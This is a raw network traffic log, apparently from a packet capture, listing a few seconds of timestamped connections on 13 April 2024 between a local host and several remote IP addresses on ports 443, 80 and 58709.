Apr 13, 2024 20:21:40.064173937 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.064203024 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.064578056 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.065670013 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.069155931 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.069245100 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.070164919 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.070192099 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.070535898 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.073692083 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.108233929 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.108251095 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.120229006 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.158365965 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:40.158663988 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:40.158778906 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:40.159070969 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:40.159101963 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:40.159130096 CEST	49765	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:40.159143925 CEST	443	49765	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:40.160943031 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.161036015 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.162657022 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.162882090 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.162913084 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.256556988 CEST	80	49761	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:40.256649971 CEST	49761	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.266545057 CEST	80	49769	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:40.266633034 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.266779900 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.489221096 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.489547968 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.490478039 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.490506887 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.490971088 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.493618965 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.536273956 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.543687105 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.543983936 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.544156075 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.546230078 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.546287060 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.546320915 CEST	49766	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.546334982 CEST	443	49766	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.546741009 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:40.562644958 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.562864065 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.562937021 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.562939882 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.563163042 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.563193083 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.563193083 CEST	49768	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.563230991 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.563256025 CEST	443	49768	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.563422918 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.563430071 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:40.563422918 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.563422918 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.563646078 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:40.612925053 CEST	80	49769	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:40.613363028 CEST	80	49769	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:40.613548994 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.613950968 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.741126060 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:40.794044018 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:40.794099092 CEST	49767	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.794166088 CEST	443	49767	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.870194912 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:40.870251894 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:40.870317936 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:40.871220112 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:40.871251106 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:40.918597937 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:40.934143066 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:40.934182882 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:40.962018967 CEST	80	49769	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:40.969014883 CEST	80	49769	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:40.969079018 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:40.984426022 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.984684944 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.984755993 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.994863033 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.994910002 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.994941950 CEST	49770	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:40.994957924 CEST	443	49770	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:40.995263100 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:41.078636885 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.078902960 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.192089081 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.192166090 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:41.193968058 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:41.193977118 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.194307089 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.210484982 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:41.234426975 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:41.280235052 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.355926037 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:41.422379971 CEST	80	49772	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:41.422521114 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.422686100 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.424722910 CEST	80	49769	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:41.424889088 CEST	49769	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.528132915 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:41.528234959 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:41.543078899 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:41.552839041 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.553165913 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.553230047 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:41.553448915 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:41.553448915 CEST	49771	443	192.168.2.4	34.117.186.192
Apr 13, 2024 20:21:41.553473949 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.553486109 CEST	443	49771	34.117.186.192	192.168.2.4
Apr 13, 2024 20:21:41.555237055 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:41.555259943 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:41.555327892 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:41.555607080 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:41.555623055 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:41.766721964 CEST	80	49772	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:41.766782045 CEST	80	49772	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:41.766850948 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.767446995 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:41.845670938 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:41.874407053 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:41.874602079 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:41.875561953 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:41.875576019 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:41.875909090 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:41.876982927 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:41.888119936 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:41.902476072 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:41.924238920 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:42.111498117 CEST	80	49772	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:42.125689983 CEST	80	49772	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:42.125777006 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.232213020 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.232356071 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.371510983 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:42.371624947 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:42.371715069 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:42.371910095 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:42.371958971 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:42.371998072 CEST	49774	443	192.168.2.4	172.67.75.166
Apr 13, 2024 20:21:42.372014999 CEST	443	49774	172.67.75.166	192.168.2.4
Apr 13, 2024 20:21:42.372361898 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:42.574532986 CEST	80	49775	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:42.574995041 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.575215101 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.575908899 CEST	80	49772	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:42.576127052 CEST	49772	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.730739117 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:42.917361975 CEST	80	49775	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:42.921078920 CEST	80	49775	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:42.921245098 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:42.921730995 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:43.264009953 CEST	80	49775	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:43.283226013 CEST	80	49775	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:43.283299923 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:43.388482094 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:43.388819933 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:43.734091043 CEST	80	49776	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:43.734220982 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:43.738810062 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:43.741130114 CEST	80	49775	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:43.741329908 CEST	49775	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.084496021 CEST	80	49776	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:44.084777117 CEST	80	49776	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:44.084861040 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.085464001 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.092071056 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:44.137804985 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:44.170914888 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:44.184622049 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:44.215960979 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:44.231659889 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:44.418726921 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:44.436570883 CEST	80	49776	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:44.441601992 CEST	80	49776	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:44.441771030 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.466032028 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:44.544728994 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.544903040 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.887142897 CEST	80	49777	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:44.887278080 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.887443066 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.890284061 CEST	80	49776	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:44.890361071 CEST	49776	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:44.981806993 CEST	49773	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:45.226722002 CEST	80	49777	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:45.227206945 CEST	80	49777	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:45.227303028 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:45.227993011 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:45.339972019 CEST	58709	49773	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:45.567904949 CEST	80	49777	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:45.571347952 CEST	80	49777	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:45.571404934 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:45.668656111 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:45.685224056 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:45.685553074 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:45.715907097 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:46.024799109 CEST	80	49777	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:46.024864912 CEST	49777	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.028649092 CEST	80	49778	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:46.028958082 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.028958082 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.372080088 CEST	80	49778	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:46.372463942 CEST	80	49778	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:46.372554064 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.373711109 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.716747046 CEST	80	49778	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:46.722907066 CEST	80	49778	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:46.722989082 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.825952053 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:46.826282024 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.165724039 CEST	80	49779	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:47.165898085 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.166109085 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.168833971 CEST	80	49778	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:47.168912888 CEST	49778	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.505440950 CEST	80	49779	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:47.506040096 CEST	80	49779	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:47.506100893 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.544792891 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.884053946 CEST	80	49779	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:47.890106916 CEST	80	49779	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:47.890162945 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.999581099 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:47.999849081 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:48.343903065 CEST	80	49779	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:48.343996048 CEST	49779	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:48.344592094 CEST	80	49780	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:48.344697952 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:48.345113993 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:48.686322927 CEST	80	49780	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:48.687342882 CEST	80	49780	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:48.687577009 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:48.689744949 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.033175945 CEST	80	49780	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:49.040268898 CEST	80	49780	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:49.040488958 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.155078888 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.155287981 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.481846094 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:49.502204895 CEST	80	49781	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:49.502295971 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.502444029 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.503895998 CEST	80	49780	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:49.503982067 CEST	49780	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.800410032 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:49.800528049 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:49.842251062 CEST	80	49781	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:49.842343092 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:49.842483997 CEST	80	49781	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:49.842546940 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:49.843167067 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.119007111 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:50.169137955 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:50.183481932 CEST	80	49781	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:50.191550016 CEST	80	49781	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:50.191684008 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.215029001 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:50.294715881 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.294969082 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.356640100 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:50.634239912 CEST	80	49781	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:50.634408951 CEST	49781	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.636168003 CEST	80	49783	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:50.636262894 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.636461020 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.714916945 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:50.976324081 CEST	80	49783	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:50.976346970 CEST	80	49783	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:50.976413965 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:50.977112055 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:51.324508905 CEST	80	49783	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:51.329794884 CEST	80	49783	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:51.329907894 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:51.435410023 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:51.435691118 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:51.775254965 CEST	80	49783	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:51.775449991 CEST	49783	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:51.779042006 CEST	80	49784	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:51.779124022 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:51.779427052 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.123006105 CEST	80	49784	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:52.123167992 CEST	80	49784	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:52.123229027 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.123872995 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.169312954 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.215919971 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.263870955 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.324593067 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.359834909 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.372147083 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.372837067 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.372931957 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.472790003 CEST	80	49784	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:52.498728991 CEST	80	49784	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:52.498822927 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.593806982 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.607130051 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.607413054 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.636835098 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.637870073 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.700570107 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:52.746323109 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.746382952 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:52.948545933 CEST	80	49785	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:52.948749065 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.948824883 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:52.950716019 CEST	80	49784	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:52.950787067 CEST	49784	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:53.058741093 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:53.231846094 CEST	49782	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:53.291270018 CEST	80	49785	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:53.295244932 CEST	80	49785	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:53.295342922 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:53.295990944 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:53.605796099 CEST	58709	49782	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:53.636887074 CEST	80	49785	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:53.642677069 CEST	80	49785	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:53.642765999 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:53.749680996 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:53.750248909 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.090701103 CEST	80	49785	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:54.090781927 CEST	49785	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.092972994 CEST	80	49786	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:54.093087912 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.100308895 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.442735910 CEST	80	49786	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:54.443176985 CEST	80	49786	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:54.443247080 CEST	49786	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:54.443970919 CEST	49786	80	192.168.2.4	193.233.132.56
